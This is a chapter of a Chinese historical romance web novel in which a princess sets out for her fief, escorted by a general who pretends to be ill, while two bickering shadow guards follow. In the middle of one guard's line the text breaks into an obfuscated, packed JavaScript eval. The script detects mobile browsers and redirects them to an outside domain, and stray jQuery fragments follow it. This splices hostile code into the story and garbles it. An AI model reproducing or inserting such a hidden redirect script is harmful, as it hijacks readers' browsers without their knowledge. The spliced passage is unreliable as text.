56. 第 56 章

作品:《病娇将军手握火葬场剧本

    今日养心殿内,难得热闹。


    近来周安民情路不顺,最爱干的就是棒打鸳鸯之事。听闻周安琳欲去封地散散心,他心里是又欣慰又酸楚,欣慰于妹妹的懂事,酸楚于即将到来的离别。


    只要一想到还有沈瑜这个倒霉蛋陪着他,心里又松快不少。


    说到底杏宁才是自己最亲的人,别说她瞧不上沈瑜,便是他们二人两情相悦,也不是什么人都能当驸马的,还得好好“考察考察”。


    他担心妹妹在封地不适应,特地赏赐了不少好东西,生怕周安琳受苦。


    周安琳走出殿门,向太后辞行时,养心殿又来了个新人。


    “陛下,臣今日身子不适,如今怕是胜任不了当下的职位了。”沈瑜特意咳了两声,故作虚弱,“可一旦臣告假,官署里面的事务又要劳烦其他同僚,实在惭愧。”


    周安民也不是那种臣子病重还要对方坚守岗位的极尽刻薄之人,连忙大笔一挥,写下一个“准”字:“爱卿且安心养病,身体最重要,朕准了你的病假。”


    沈瑜连声道谢。


    等到沈瑜也离开养心殿时,周安民突然有些感慨,对着身边的太监道:“许是天气转凉的原因,连望舒都病成这般了。”


    “还是找个太医来帮朕看看,防患于未然啊。”


    “是。”太监连忙应下。


    周安民觉得刚刚同意妹妹出宫的决定还是太草率了,这几日天气尚未回暖,她又独自一人远行,本就身子弱吹不得寒风,舟车劳顿的,要是病了该如何是好啊?


    他按了按额头,很是懊恼。


    “暗一、暗二。”周安民唤出两人,表情严肃。


    “上次你们护主不利,今日朕给你们一个将功赎罪的机会。暗中护着长公主,确保她在宜城玩得高兴,听明白没有?”


    “明白!”


    暗一暗二就差留下两行清泪了,自从他们犯错后,不仅被调离了公主身边,而且收到的任务也是窃听之类的小事,杀鸡焉用牛刀啊!这次他们一定要证明自己!


    夜里,公主府依旧灯火通明,小厮们为了出行忙上忙下,周安琳则是在挑选自己带去封地的衣裳。


    “要不随便带两件吧。”周安琳摩挲着下巴,困到打了个哈欠。


    “封地处的绣娘不多,时兴的衣服款式都没有,还是多带几件吧。”云想为了周安琳的此次出游可谓是煞费苦心,在游记里翻找宜城的风土人情,就是为了面面俱到。


    “也是。”被她这么一说,周安琳还真有些割舍不了了。


    三人又是好一阵忙活,最后还是周安琳率先支撑不住,陷入了梦乡。待她一觉醒来,云裳、云想已经将衣服首饰都收拾好了。


    “可以啊,不愧是我的人。”周安琳丝毫没有吝啬自己的夸赞,简单收拾一番就打算出门。


    云想……云想欲言又止,云裳倒依旧是一片淡然。


    “怎么了?”周安琳见不得云想这个表情,捏了捏她的脸。


    “殿下!”云想连忙躲闪,忘了自己原先的顾虑。


    “怎么了?愁眉苦脸的,难得出游,都高兴点啊。”周安琳已经迫不及待了,她快步走向门口,将两人远远甩在身后,衣袂飞扬,同迎春花一般充满生机。


    刚到门口周安琳就有点傻眼了,沈瑜是从哪里冒出来的?


    相比之下,沈瑜显然要平静地多,他今日格外守礼,见到周安琳也只是微微颔首,伸出右臂给她借力。


    伸手不打笑脸人,他千里迢迢来相送,周安琳也只把沈瑜当做寻常官员,直到他开口:“听闻殿下远赴封地,臣自请护送殿下远行。”


    周安琳皱起眉,明显不相信他的这番说辞。


    “皇兄未曾提及此事。”言下之意便是沈瑜在撒谎。


    沈瑜并未反驳,只是看了眼天色:“今早气温回暖,殿下若是此刻还不出发,怕是没法在日落之前到达下个驿站了。”


    这话虽然不好听,但也的确是肺腑之言,周安琳看了眼姗姗来迟的云裳云想,没再多说些什么,挑起车帘道:“还不快上来,就差你们了。”


    沈瑜也翻身上马,护在马车一侧。


    躲在暗处的暗一暗二:……


    不是冤家不聚首,暗一见沈瑜满口胡言,气得想要即刻进宫:“他也太嚣张了,居然敢欺瞒圣上!”


    暗二也急,但尚且保存了几分理智:“即便我们轻功再快,禀告圣上也需要时间,若是公主殿下在此期间遇险,该如何是好啊?”


    暗一还有些不甘心,扭头看向暗二:“那我们就这么眼睁睁看着沈瑜夺走我们的差事?”


    他倒是跟着公主殿下享福了,他们两个堂堂正正的暗卫只能躲在暗处吃干粮!这差别对待也太气人了吧。


    “那能怎么办?好好完成差事吧。”暗二也看不惯沈瑜这种见缝插针的行为,但毕竟是公主出游,护卫自然是越多越好。纵然他们有私心,也不愿看到周安琳被伤害。


    初春时节,被阳光照到的身子总是暖洋洋的,正是这丝暖意,可以抵抗尚显冷冽的春风。


    夜幕降临之后,那冷冽的寒风便越发肆无忌惮,直直冲向面门,仿佛要把每个人脸上的血肉刮下来。


    暗一隔着几步观察着马车的动静,越看觉得越不对:“你看他。”


    暗二看着手上的地图,小声回应:“马上就到驿站了,你安静点。”


    “不是,你看他啊,看沈瑜。”


    看看看,就知道看,暗二难得展露出不耐烦的神色:“有事直说。”


    “他脸都冻红了,估计明日手上就得生冻疮,怎么不用内力啊。”暗一挠挠头,很是不解,他看了看自己布满茧子的双手,“我步行都没用多少内力,他还骑着马,能费多少内力?”


    “不懂别瞎说,我看他是醉翁之意不在酒。”前面便是驿站了,暗二连忙放低声音,拍了拍暗一的肩:“好好学学吧。”


    暗一:???学什么,学谁?


    很快他就明白了。


    “殿下,到驿站了,先歇歇脚吧。”云裳撩起帘子,扶着周安琳下马车,云想紧随其后。


    沈瑜也把身下的马交给了小二,几人一同进了驿站。


    暗二也起身,准备进屋吃顿饱饭。可惜腿上多了个挪都挪不走的人形大秤砣,暗一抱住他的腿拼命阻拦:“暗卫是不能在人前现身的。”


    “但我饿了。”


    “可是——”


    “我饿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15914355|173022||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。”


    “……”


    “我真饿了。”暗二瞟了眼几人远走的身影,“你真以为我们隐藏得很好吗?依我看,怕是早就被那位沈将军给看出来了。”


    “那还等什么?我们快去吃饭吧!”暗一一个鲤鱼打挺,蹦了起来。


    “不是‘我们’,是‘我’,我不会跟饭桶一起吃。”暗二嫌弃地推开他,努力保住自己的小金库。


    “你这话说的。”暗一很是不服气,拽着他的袖子死不放手,“我的钱都是用来娶媳妇的,你就请我吃点吧,就吃一点行吗?”


    “闭嘴,人都跟丢了!”


    驿站大堂内


    暗二最后还是屈服了,点了一桌子菜。暗一一个人吃出了七八个人的动静,他都没眼看。


    另一桌,周安琳看着沈瑜通红的脸,心里有些烦躁。


    “怎么回事,脸冻成这样?”她说话硬邦邦的,语气却是难得的关心。


    “多谢殿下挂念,我自小在边关长大,生冻疮已经是常事了,过几天就自己好了。”沈瑜故意咳嗽几声,不经意露出了自己的左手。指尖冻得通红,可关节处却是惨白一片,任谁看了都会心生同情。


    周安琳自然是一眼就瞥见了,她忍了又忍,还是禁不住开口道:“吃完饭来我房间拿些伤药吧,冻成这个样子还怎么保护我?”


    沈瑜眼里闪过一丝不易察觉的笑意。


    暗一也看傻了,他杵了杵暗二:“他这是装的吧?”


    “你想干嘛?”暗二似乎从他的动作里嗅到了一丝不寻常的气息。


    “当然是禀告殿下,让这个没安好心的家伙——唔唔唔——唔——”


    暗二眼疾手快,随手拿了个馒头塞住对方的嘴,而后连连道歉。


    “家弟这里不太好使,还望各位海涵。”他指了指自己的脑袋,最后朝着周安琳那桌作揖。


    周安琳连忙摆手:“无妨无妨。”


    暗二坐下就给了对方一下,低声呵斥:“你这一桌饭菜都白吃了?怎么一点不长脑子。就你这样还想找媳妇?”


    暗一自知失言,选择闭上嘴巴乖乖干饭。


    一刻钟后,厢房内


    “刚刚那两个人是暗卫吧。”周安琳理了理发髻上的碎发,说出的话却是格外笃定。


    “是。”


    沈瑜刚想接过药膏,却发现周安琳没有松手的意思。


    “你一个人怎么涂?”她敲了下沈瑜的脑袋,“我这药可金贵着呢,你若是想要随便蘸几下应付了事,今后便不必跟着我了。”


    “坐。”她指着椅子的方向,语气柔和不少。


    沈瑜乖乖照做,周安琳蘸药的手法却没有他想象中的柔和,按在伤处的棉签微微使劲,沈瑜虽然不疼,但还是应景地“嘶”了一声。


    “现在知道疼了,为何不用内力御寒?故意试探本宫?”周安琳趁他双手涂满药膏,刻意凑近了一点,吹得他耳朵发烫。


    “臣不敢。”沈瑜能想象到自己此刻的样子,连忙偏头,担心泄露心中那股蓬勃的、即将喷涌而出的情愫。


    “是吗?”周安琳反问。


    沈瑜能察觉到颈侧周安琳温热的呼吸,身子都僵硬不少,微微垂眸。